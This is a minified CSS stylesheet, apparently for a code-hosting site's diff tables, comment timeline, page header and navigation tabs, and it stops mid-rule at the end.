.octicon-diff-removed{color:var(--color-danger-fg)}.table-of-contents .octicon-diff-renamed{color:var(--color-fg-muted)}.table-of-contents .octicon-diff-modified{color:var(--color-attention-fg)}.table-of-contents .octicon-diff-added{color:var(--color-success-fg)}.copyable-terminal{position:relative;padding:8px 55px 8px 8px;background-color:var(--color-canvas-subtle);border-radius:6px}.copyable-terminal-content{overflow:auto}.copyable-terminal-button{position:absolute;top:5px;right:5px}.copyable-terminal-button .zeroclipboard-button{float:right}.copyable-terminal-button .zeroclipboard-button .octicon{padding-left:1px;margin:0 auto}.blob-wrapper{overflow-x:auto;overflow-y:hidden}.blob-wrapper table tr:nth-child(2n){background-color:transparent}.page-edit-blob.height-full .CodeMirror{height:300px}.page-edit-blob.height-full .CodeMirror,.page-edit-blob.height-full .CodeMirror-scroll{display:flex;flex-direction:column;flex:1 1 auto}.blob-wrapper-embedded{max-height:240px;overflow-y:auto}.diff-table{width:100%;border-collapse:separate}.diff-table .blob-code.blob-code-inner{padding-left:22px}.diff-table .line-comments{padding:10px;vertical-align:top;border-top:1px solid var(--color-border-default)}.diff-table .line-comments:first-child+.empty-cell{border-left-width:1px}.diff-table tr:not(:last-child) .line-comments{border-top:1px solid var(--color-border-default);border-bottom:1px solid var(--color-border-default)}.diff-view .blob-code-marker-context::before,.diff-view .blob-code-marker-injected_context::before,.diff-view .blob-code-marker-addition::before,.diff-view .blob-code-marker-deletion::before{top:4px}.diff-view .line-alert,.diff-table .line-alert{position:absolute;left:-60px;margin:2px}.comment-body .diff-view .line-alert{left:0}.blob-num{position:relative;width:1%;min-width:50px;padding-right:10px;padding-left:10px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:20px;color:var(--color-fg-subtle);text-align:right;white-space:nowrap;vertical-align:top;cursor:pointer;-webkit-user-select:none;user-select:none}.blob-num:hover{color:var(--color-fg-default)}.blob-num::before{content:attr(data-line-number)}.blob-num.non-expandable{cursor:default}.blob-num.non-expandable:hover{color:var(--color-fg-subtle)}.blob-num-hidden::before{visibility:hidden}.blob-code{position:relative;padding-right:10px;padding-left:10px;line-height:20px;vertical-align:top}.blob-code-inner{overflow:visible;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;color:var(--color-fg-default);word-wrap:normal;white-space:pre}.blob-code-inner .x-first{border-top-left-radius:.2em;border-bottom-left-radius:.2em}.blob-code-inner .x-last{border-top-right-radius:.2em;border-bottom-right-radius:.2em}.blob-code-inner.highlighted,.blob-code-inner .highlighted{background-color:var(--color-attention-subtle);box-shadow:inset 2px 0 0 var(--color-attention-muted)}.blob-code-inner::selection,.blob-code-inner *::selection{background-color:var(--color-accent-muted)}.blob-code-inner.blob-code-addition,.blob-code-inner.blob-code-deletion{position:relative;padding-left:22px !important}.blob-code-marker::before{position:absolute;top:1px;left:8px;padding-right:8px;content:attr(data-code-marker)}.blob-code-context,.blob-code-addition,.blob-code-deletion{padding-left:22px}.blob-code-marker-addition::before{position:absolute;top:1px;left:8px;content:"+ "}.blob-code-marker-deletion::before{position:absolute;top:1px;left:8px;content:"- "}.blob-code-marker-context::before{position:absolute;top:1px;left:8px;content:" "}.blob-code-marker-injected_context::before{position:absolute;top:1px;left:8px;content:" "}.soft-wrap .diff-table{table-layout:fixed}.soft-wrap .blob-code{padding-left:18px;text-indent:-7px}.soft-wrap .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.soft-wrap .no-nl-marker{display:none}.soft-wrap .add-line-comment{margin-top:0;margin-left:-24px}.soft-wrap .blob-code-context,.soft-wrap .blob-code-addition,.soft-wrap .blob-code-deletion{padding-left:24px;text-indent:0}.blob-num-hunk,.blob-code-hunk,.blob-num-expandable{color:var(--color-fg-muted);vertical-align:middle}.blob-num-hunk,.blob-num-expandable{background-color:var(--color-diff-blob-hunk-num-bg)}.blob-code-hunk{padding-top:4px;padding-bottom:4px;background-color:var(--color-accent-subtle);border-width:1px 0}.blob-expanded .blob-num:not(.blob-num-context-outside-diff),.blob-expanded .blob-code:not(.blob-code-context){background-color:var(--color-canvas-subtle)}.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-num,.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-code{border-top:1px solid var(--color-border-muted)}.blob-expanded tr.show-top-border .blob-num-hunk,.blob-expanded tr.show-top-border .blob-num{border-top:1px solid var(--color-border-muted)}tr.show-top-border+.blob-expanded .blob-num,tr.show-top-border+.blob-expanded .blob-code{border-top:1px solid var(--color-border-muted)}.blob-num-expandable{width:auto;padding:0;font-size:12px;text-align:center}.blob-num-expandable .directional-expander{display:block;width:auto;height:auto;margin-right:-1px;color:var(--color-diff-blob-expander-icon);cursor:pointer}.blob-num-expandable .single-expander{padding-top:4px;padding-bottom:4px}.blob-num-expandable .directional-expander:hover{color:var(--color-fg-on-emphasis);text-shadow:none;background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.blob-code-addition{background-color:var(--color-diff-blob-addition-line-bg);outline:1px dotted transparent}.blob-code-addition .x{color:var(--color-diff-blob-addition-fg);background-color:var(--color-diff-blob-addition-word-bg)}.blob-num-addition{color:var(--color-diff-blob-addition-num-text);background-color:var(--color-diff-blob-addition-num-bg);border-color:var(--color-success-emphasis)}.blob-num-addition:hover{color:var(--color-fg-default)}.blob-code-deletion{background-color:var(--color-diff-blob-deletion-line-bg);outline:1px dashed transparent}.blob-code-deletion .x{color:var(--color-diff-blob-deletion-fg);background-color:var(--color-diff-blob-deletion-word-bg)}.blob-num-deletion{color:var(--color-diff-blob-deletion-num-text);background-color:var(--color-diff-blob-deletion-num-bg);border-color:var(--color-danger-emphasis)}.blob-num-deletion:hover{color:var(--color-fg-default)}.is-selecting{cursor:ns-resize !important}.is-selecting .blob-num{cursor:ns-resize !important}.is-selecting .add-line-comment,.is-selecting a{pointer-events:none;cursor:ns-resize !important}.is-selecting .is-hovered .add-line-comment{opacity:0}.is-selecting.file-diff-split{cursor:nwse-resize !important}.is-selecting.file-diff-split .blob-num{cursor:nwse-resize !important}.is-selecting.file-diff-split .empty-cell,.is-selecting.file-diff-split .add-line-comment,.is-selecting.file-diff-split a{pointer-events:none;cursor:nwse-resize !important}.selected-line{position:relative}.selected-line::after{position:absolute;top:0;left:0;display:block;width:100%;height:100%;box-sizing:border-box;pointer-events:none;content:"";background:var(--color-attention-subtle);mix-blend-mode:var(--color-diff-blob-selected-line-highlight-mix-blend-mode)}.selected-line.selected-line-top::after{border-top:1px solid var(--color-attention-muted)}.selected-line.selected-line-bottom::after{border-bottom:1px solid var(--color-attention-muted)}.selected-line:first-child::after,.selected-line.selected-line-left::after{border-left:1px solid var(--color-attention-muted)}.selected-line:last-child::after,.selected-line.selected-line-right::after{border-right:1px solid var(--color-attention-muted)}.is-commenting .selected-line.blob-code::before{position:absolute;top:0;left:-1px;display:block;width:4px;height:100%;content:"";background:var(--color-accent-emphasis)}.add-line-comment{position:relative;z-index:1;float:left;width:22px;height:22px;margin:-2px -10px -2px -32px;line-height:21px;color:var(--color-fg-on-emphasis);text-align:center;text-indent:0;cursor:pointer;background-color:var(--color-accent-emphasis);border-radius:6px;box-shadow:var(--color-shadow-medium);opacity:0;transition:transform .1s ease-in-out;transform:scale(0.8, 0.8)}.add-line-comment:hover{transform:scale(1, 1)}.is-hovered .add-line-comment,.add-line-comment:focus{opacity:1}.add-line-comment .octicon{vertical-align:text-top;pointer-events:none}.add-line-comment.octicon-check{background:#333;opacity:1}.inline-comment-form{border:1px solid #dfe2e5;border-radius:6px}.timeline-inline-comments{width:100%;table-layout:fixed}.timeline-inline-comments .inline-comments,.show-inline-notes .inline-comments{display:table-row}.inline-comments{display:none}.inline-comments .line-comments+.blob-num{border-left-width:1px}.inline-comments .timeline-comment{margin-bottom:10px}.inline-comments .inline-comment-form,.inline-comments .inline-comment-form-container{max-width:780px}.comment-holder{max-width:780px}.comment-holder+.comment-holder{margin-top:16px}.line-comments+.line-comments,.empty-cell+.line-comments{border-left:1px solid var(--color-border-muted)}.inline-comment-form-container .inline-comment-form,.inline-comment-form-container.open .inline-comment-form-actions{display:none}.inline-comment-form-container .inline-comment-form-actions,.inline-comment-form-container.open .inline-comment-form{display:block}body.full-width .container,body.full-width .container-lg,body.full-width .container-xl{width:100%;max-width:none;padding-right:20px;padding-left:20px}body.full-width .repository-content{width:100%}body.full-width .new-pr-form{max-width:980px}.file-diff-split{table-layout:fixed}.file-diff-split .blob-code+.blob-num{border-left:1px solid var(--color-border-muted)}.file-diff-split .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.file-diff-split .empty-cell{cursor:default;background-color:var(--color-neutral-subtle);border-right-color:var(--color-border-muted)}@media(max-width: 1280px){.file-diff-split .write-selected .comment-form-head{margin-bottom:48px !important}.file-diff-split markdown-toolbar{position:absolute;right:8px;bottom:-40px}}.submodule-diff-stats .octicon-diff-removed{color:var(--color-danger-fg)}.submodule-diff-stats .octicon-diff-renamed{color:var(--color-fg-muted)}.submodule-diff-stats .octicon-diff-modified{color:var(--color-attention-fg)}.submodule-diff-stats .octicon-diff-added{color:var(--color-success-fg)}.BlobToolbar{left:-17px}.BlobToolbar-dropdown{margin-left:-2px}.pl-token:hover,.pl-token.active{cursor:pointer;background:#ffea7f}.discussion-timeline{position:relative;float:left}.discussion-timeline::before{position:absolute;top:0;bottom:0;left:72px;z-index:0;display:block;width:2px;content:"";background-color:var(--color-border-default)}.discussion-sidebar-item{padding-top:16px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-item .btn .octicon{margin-right:0}.discussion-sidebar-item .muted-icon{color:var(--color-fg-muted)}.discussion-sidebar-item .muted-icon:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-item+.discussion-sidebar-item{margin-top:16px;border-top:1px solid var(--color-border-muted)}.discussion-sidebar-item .select-menu{position:relative}.discussion-sidebar-item .select-menu-modal-holder{top:25px;right:-1px;left:auto}.discussion-sidebar-heading{margin-bottom:8px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-toggle{padding:4px 0;margin:-4px 0 4px}.discussion-sidebar-toggle .octicon{float:right;color:var(--color-fg-muted)}.discussion-sidebar-toggle:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-toggle:hover .octicon{color:inherit}button.discussion-sidebar-toggle{display:block;width:100%;font-weight:600;text-align:left;background:none;border:0}.sidebar-progress-bar .progress-bar{height:8px;margin-bottom:2px;border-radius:6px}.sidebar-assignee .css-truncate-target{max-width:110px}.sidebar-assignee .assignee{font-weight:600;color:var(--color-fg-muted);vertical-align:middle}.sidebar-assignee .assignee:hover{color:var(--color-accent-fg);text-decoration:none}.sidebar-assignee .reviewers-status-icon{width:14px}.sidebar-assignee .octicon{margin-top:2px}.thread-subscribe-form.is-error .thread-subscribe-button{color:var(--color-danger-fg)}.sidebar-notifications{position:relative}.sidebar-notifications .thread-subscription-status{padding:0;margin:0;border:0}.sidebar-notifications .thread-subscription-status .thread-subscribe-form{display:block}.sidebar-notifications .thread-subscription-status .reason{padding:0;margin:4px 0 0}.sidebar-notifications .thread-subscription-status .btn-sm{display:block;width:100%}.participation .participant-avatar{float:left;margin:4px 0 0 4px}.participation a{color:var(--color-fg-muted)}.participation a:hover{color:var(--color-accent-fg);text-decoration:none}.participation-avatars{margin-left:-4px}.participation-avatars::before{display:table;content:""}.participation-avatars::after{display:table;clear:both;content:""}.participation-more{float:left;margin:8px 4px 0}.inline-comment-form .form-actions,.timeline-new-comment .form-actions{padding:0 8px 8px}.inline-comment-form::before{display:table;content:""}.inline-comment-form::after{display:table;clear:both;content:""}.inline-comment-form .tabnav-tabs{display:inline-block}.inline-comment-form .form-actions{float:right}.gh-header-actions{float:right;margin-top:4px}.gh-header-actions .btn-sm{float:left;margin-left:4px}.gh-header-actions .btn-sm .octicon{margin-right:0}.gh-header{background-color:var(--color-canvas-default)}.gh-header .gh-header-sticky{height:1px}.gh-header .gh-header-sticky .meta{font-size:12px}.gh-header .gh-header-sticky .sticky-content,.gh-header .gh-header-sticky .gh-header-shadow{display:none}.gh-header .gh-header-sticky.is-stuck{z-index:110;height:60px}.gh-header .gh-header-sticky.is-stuck .sticky-content{display:block}.gh-header .gh-header-sticky.is-stuck .css-truncate-target{max-width:150px}.gh-header .gh-header-sticky.is-stuck+.gh-header-shadow{position:fixed;top:0;right:0;left:0;z-index:109;display:block;height:60px;content:"";background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-default)}.gh-header .gh-header-edit{display:none}.gh-header .gh-header-meta .base-ref{display:inline-block}.gh-header .gh-header-meta .commit-ref-dropdown{display:none}.gh-header.open .gh-header-show{display:none}.gh-header.open .gh-header-edit{display:block}.gh-header.open .gh-header-meta .base-ref{display:none}.gh-header.open .gh-header-meta .commit-ref-dropdown{display:inline-block;margin-top:-4px;vertical-align:top}.gh-header-title{margin-right:150px;margin-bottom:0;font-weight:400;line-height:1.125;word-wrap:break-word}.gh-header-no-access .gh-header-title{margin-right:0}.gh-header-number{font-weight:300;color:var(--color-fg-muted)}.gh-header-meta{padding-bottom:8px;margin-top:8px;font-size:14px;color:var(--color-fg-muted);border-bottom:1px solid var(--color-border-default)}.gh-header.issue .gh-header-meta{margin-bottom:16px}.gh-header.pull .gh-header-meta{padding-bottom:0;border-bottom:0}.gh-header-meta .commit-ref .css-truncate-target,.gh-header-meta .commit-ref:hover .css-truncate-target{max-width:80vw}.gh-header-meta .State{margin-right:8px}.gh-header-meta .avatar{float:left;margin-top:-4px;margin-right:4px}.timeline-comment-wrapper{position:relative;padding-left:56px;margin-top:16px;margin-bottom:16px}.timeline-comment-avatar{float:left;margin-left:-56px;border-radius:6px}.timeline-comment-avatar .avatar{width:40px;height:40px}.timeline-comment-avatar .avatar-child{width:20px;height:20px}.timeline-comment{position:relative;color:var(--color-fg-default);background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.timeline-comment.will-transition-once{transition:border-color .65s ease-in-out}.timeline-comment.will-transition-once .timeline-comment-header{transition:background-color .65s ease,border-bottom-color .65s ease-in-out}.timeline-comment.will-transition-once::before,.timeline-comment.will-transition-once::after{transition:border-right-color .65s ease-in-out}.timeline-comment.current-user{border-color:var(--color-accent-muted)}.timeline-comment.current-user .timeline-comment-header{background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.current-user .Label{border-color:var(--color-accent-muted)}.timeline-comment.current-user .previewable-comment-form .comment-form-head.tabnav{color:var(--color-accent-muted);background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.unread-item,.timeline-comment.is-internal{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .timeline-comment-header,.timeline-comment.is-internal .timeline-comment-header{background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment.unread-item .Label,.timeline-comment.is-internal .Label{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .previewable-comment-form .comment-form-head.tabnav,.timeline-comment.is-internal .previewable-comment-form .comment-form-head.tabnav{color:var(--color-attention-muted);background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment:empty{display:none}.timeline-comment .comment+.comment{border-top:1px solid var(--color-border-default)}.timeline-comment .comment+.comment::before,.timeline-comment .comment+.comment::after{display:none}.timeline-comment .comment+.comment .timeline-comment-header{border-top-left-radius:0;border-top-right-radius:0}.timeline-comment--caret::after,.timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-subtle), var(--color-canvas-subtle))}.timeline-comment--caret::before{background-color:var(--color-border-default)}.is-pending .timeline-comment--caret::after,.is-pending .timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.is-pending .timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.is-pending .timeline-comment--caret::before{background-color:var(--color-attention-emphasis)}.timeline-comment--caret.current-user::after,.timeline-comment--caret.current-user::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.current-user::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.timeline-comment--caret.current-user::before{background-color:var(--color-accent-muted)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::after,.timeline-comment--caret.is-internal::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.is-internal::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::before{background-color:var(--color-attention-muted)}.timeline-comment--caret.timeline-comment--caret-nw::before,.timeline-comment--caret.timeline-comment--caret-nw::after{transform:rotate(90deg)}.timeline-comment--caret.timeline-comment--caret-nw::before{top:-12px;left:12px}.timeline-comment--caret.timeline-comment--caret-nw::after{top:-10px;left:11px}.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:none}@media(min-width: 768px){.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:block}}:target .timeline-comment--caret::before{background-color:var(--color-accent-fg)}:target .timeline-comment--caret::after{margin-left:2px !important}:target .timeline-comment{z-index:2;border-color:var(--color-accent-fg);outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.review-comment:target{border-radius:6px;outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.timeline-comment-header{display:flex;align-items:center;padding-right:16px;padding-left:16px;color:var(--color-fg-muted);flex-direction:row-reverse;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.timeline-comment-header:only-child{border-bottom:0;border-radius:6px}.timeline-comment-header .author{color:var(--color-fg-muted)}.timeline-comment-header code{word-break:break-all}.comment-type-icon{color:inherit}.timeline-comment-header-text{min-width:0;padding-top:8px;padding-bottom:8px;margin-bottom:1px;flex:1 1 auto}.timeline-comment-header-text code a{color:var(--color-fg-muted)}.timeline-comment-actions{float:right;margin-left:8px}.timeline-comment-actions .show-more-popover.dropdown-menu-sw{right:-6px;margin-top:-4px}.timeline-comment-action{display:inline-block;padding:8px 4px;color:var(--color-fg-muted)}.timeline-comment-action:hover,.timeline-comment-action:focus{color:var(--color-accent-fg);text-decoration:none;opacity:1}.timeline-comment-action .octicon-check{height:16px}.timeline-comment-action.disabled{color:var(--color-fg-muted);cursor:default}.timeline-comment-action.disabled:hover{color:var(--color-fg-muted)}.timeline-new-comment{margin-bottom:0}.timeline-new-comment .comment-form-head{margin-bottom:8px}.timeline-new-comment .previewable-comment-form .comment-body{padding-top:0}.comment-form-head .toolbar-commenting{float:right}.discussion-item-icon{float:left;width:32px;height:32px;margin-top:-4px;margin-left:-39px;line-height:28px;color:var(--color-fg-muted);text-align:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%}.discussion-item-header{color:var(--color-fg-muted);word-wrap:break-word}.discussion-item-header .discussion-item-private{vertical-align:-1px}.discussion-item-header:last-child{padding-bottom:0}.discussion-item-header .commit-ref{font-size:85%;vertical-align:baseline}.discussion-item-header .btn-outline{float:right;padding:4px 8px;margin-top:-4px;margin-left:8px}.discussion-item-private{color:var(--color-fg-muted)}.previewable-comment-form .comment-form-head.tabnav{padding:8px 8px 0;background:var(--color-canvas-subtle);border-radius:6px 6px 0 0}.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:var(--color-canvas-default)}@media(min-width: 1012px){.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:transparent}}@media(min-width: 768px){.page-responsive .previewable-comment-form .comment-form-head.tabnav{background:var(--color-canvas-subtle)}}.previewable-comment-form .comment{border:0}.previewable-comment-form .comment-body{padding-top:8px;padding-right:8px;padding-bottom:8px;padding-left:8px;background-color:transparent;border-bottom:1px solid var(--color-border-default)}.previewable-comment-form .timeline-comment .timeline-comment-actions{display:none}.new-discussion-timeline .composer .timeline-comment{margin-bottom:8px}.new-discussion-timeline .composer .comment-form-head.tabnav{padding-top:0;background-color:var(--color-canvas-default)}.composer.composer-responsive{padding-left:0}.composer.composer-responsive .discussion-topic-header{padding:0}.composer.composer-responsive .timeline-comment{border:0}.composer.composer-responsive .timeline-comment::before,.composer.composer-responsive .timeline-comment::after{display:none}.composer.composer-responsive .previewable-comment-form .write-content{margin:0}@media(min-width: 768px){.composer.composer-responsive{padding-left:56px}.composer.composer-responsive .timeline-comment{border:1px solid var(--color-border-default)}.composer.composer-responsive .timeline-comment::after,.composer.composer-responsive .timeline-comment::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.composer.composer-responsive .timeline-comment::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.composer.composer-responsive .timeline-comment::before{background-color:var(--color-border-default)}}.discussion-timeline-actions{background-color:var(--color-canvas-default);border-top:2px solid var(--color-border-default)}.discussion-timeline-actions .merge-pr{padding-top:0;border-top:0}.discussion-timeline-actions .thread-subscription-status{margin-top:16px}.pagination-loader-container{background-color:var(--color-canvas-default);background-image:url("/images/modules/pulls/progressive-disclosure-line.svg");background-repeat:repeat-x;background-position:center;background-size:16px}[data-color-mode=light][data-light-theme*=dark] .pagination-loader-container,[data-color-mode=dark][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}:target .timeline-comment-group .timeline-comment .timeline-comment-group .timeline-comment{box-shadow:none !important}.is-pending .form-actions{margin-right:8px;margin-bottom:4px}.is-pending .file,.is-pending .file-header,.is-pending .tabnav-tab.selected,.is-pending .comment-form-head.tabnav{border-color:var(--color-attention-emphasis)}.is-pending .file-header,.is-pending .comment-form-head.tabnav{background-color:var(--color-attention-subtle)}.discussion-item-icon-gray{background-color:var(--color-timeline-badge-bg) !important}.footer-octicon{color:var(--color-fg-subtle)}.footer-octicon:hover{color:var(--color-fg-muted)}.user-mention,.team-mention{font-weight:600;color:var(--color-fg-default);white-space:nowrap}.Popover .user-mention,.Popover .team-mention{white-space:normal}@media(max-width: 543px){.notifications-component-menu-modal{margin:calc(10vh - 16px) 0}}@media(min-width: 544px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{width:100%}}@media(min-width: 768px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{min-width:300px}}.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent;background:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{display:none}}.notifications-component-dialog{z-index:99;animation:none}@keyframes notifications-component-dialog-animation--sm{0%{opacity:0;transform:translateX(16px)}}@media(min-width: 544px){.notifications-component-dialog{position:absolute;top:auto;right:auto;bottom:auto;left:auto;max-height:none;padding-top:0;margin:0;transform:none}}.notifications-component-dialog .notifications-component-dialog-modal{animation:none}.pagehead{position:relative;padding-top:24px;padding-bottom:24px;margin-bottom:24px;border-bottom:1px solid var(--color-border-default)}.pagehead.admin{background:url("/images/modules/pagehead/background-yellowhatch-v3.png") 0 0 repeat-x}.pagehead ul.pagehead-actions{position:relative;z-index:31;float:right;margin:0}.pagehead .path-divider{margin:0 .25em}.pagehead h1{min-height:32px;margin-top:0;margin-bottom:0;font-size:20px;font-weight:400}.pagehead h1 .avatar{margin-top:-2px;margin-right:8px;margin-bottom:-2px}.pagehead .underline-nav{height:69px;margin-top:-16px;margin-bottom:-16px}.pagehead-heading{color:inherit}.pagehead-actions>li{float:left;margin:0 8px 0 0;font-size:12px;color:var(--color-fg-default);list-style-type:none}.pagehead-actions>li:last-child{margin-right:0}.pagehead-actions .octicon-mute{color:var(--color-danger-fg)}.pagehead-actions .select-menu{position:relative}.pagehead-actions .select-menu::before{display:table;content:""}.pagehead-actions .select-menu::after{display:table;clear:both;content:""}.pagehead-actions .select-menu-modal-holder{top:100%}.pagehead-tabs-item{float:left;padding:8px 16px 12px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.pagehead-tabs-item .octicon{color:var(--color-fg-muted)}.pagehead-tabs-item:hover{color:var(--color-fg-default);text-decoration:none}.pagehead-tabs-item.selected{font-weight:600;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.pagehead-tabs-item.selected>.octicon{color:inherit}.reponav{position:relative;top:1px;margin-top:-4px}.reponav::before{display:table;content:""}.reponav::after{display:table;clear:both;content:""}.reponav-item{float:left;padding:8px 16px 8px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.reponav-item .octicon{color:var(--color-fg-muted)}.reponav-item:hover,.reponav-item:focus{color:var(--color-fg-default);text-decoration:none}.reponav-item.selected{color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.reponav-item.selected .octicon{color:inherit}.reponav-wrapper{position:relative;z-index:2;overflow-y:hidden;background-color:var(--color-neutral-emphasis)}.reponav-wrapper .reponav{top:0;padding-right:8px;padding-left:8px;margin-top:0;-webkit-overflow-scrolling:touch;overflow-x:auto;color:rgba(255,255,255,.75)}.reponav-wrapper .reponav-item{display:inline-block;float:none;padding:4px 8px 16px;color:var(--color-fg-muted);border:0}.reponav-wrapper .reponav-item.selected{font-weight:600;color:var(--color-fg-default);background-color:transparent;border:0}@media(max-width: 768px){.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background-color:transparent}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item--navActive::after{display:none}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.steps{display:table;width:100%;padding:0;margin:32px auto 0;overflow:hidden;list-style:none;border:1px solid #dfe2e5;border-radius:6px;box-shadow:0 1px 3px rgba(27,31,35,.05)}.steps li{display:table-cell;width:33.3%;padding:8px 16px;color:#c6cbd1;cursor:default;background-color:var(--color-canvas-subtle);border-left:1px solid #dfe2e5}.steps li.current{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.steps li.current .octicon{color:var(--color-accent-fg)}.steps li .octicon{float:left;margin-right:16px;margin-bottom:4px}.steps li .step{display:block}.steps li:first-child{border-left:0}.steps .complete{color:var(--color-fg-muted)}.steps .complete .octicon{color:var(--color-success-fg)}.prose-diff .anchor{display:none}.prose-diff .show-rich-diff{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.prose-diff .show-rich-diff:hover{text-decoration:underline}.prose-diff.collapsed .rich-diff-level-zero.expandable{cursor:pointer}.prose-diff.collapsed .rich-diff-level-zero.expandable .vicinity{display:block}.prose-diff.collapsed .rich-diff-level-zero.expandable .unchanged:not(.vicinity){display:none}.prose-diff.collapsed .rich-diff-level-zero.expandable .octicon{display:block;margin:16px auto;color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:hover .octicon{color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child::before{font-size:16px;color:var(--color-fg-muted);content:"Sorry, no visible changes to display."}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child:hover::before{color:var(--color-fg-default)}.prose-diff.collapsed .rich-diff-level-zero.expandable>.removed,.prose-diff.collapsed .rich-diff-level-zero.expandable>del{display:none;text-decoration:none}.prose-diff .markdown-body{padding:32px;padding-left:16px}.prose-diff .markdown-body>ins{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .markdown-body>del{text-decoration:none;box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .markdown-body>ins,.prose-diff .markdown-body>del{display:block;border-radius:0}.prose-diff 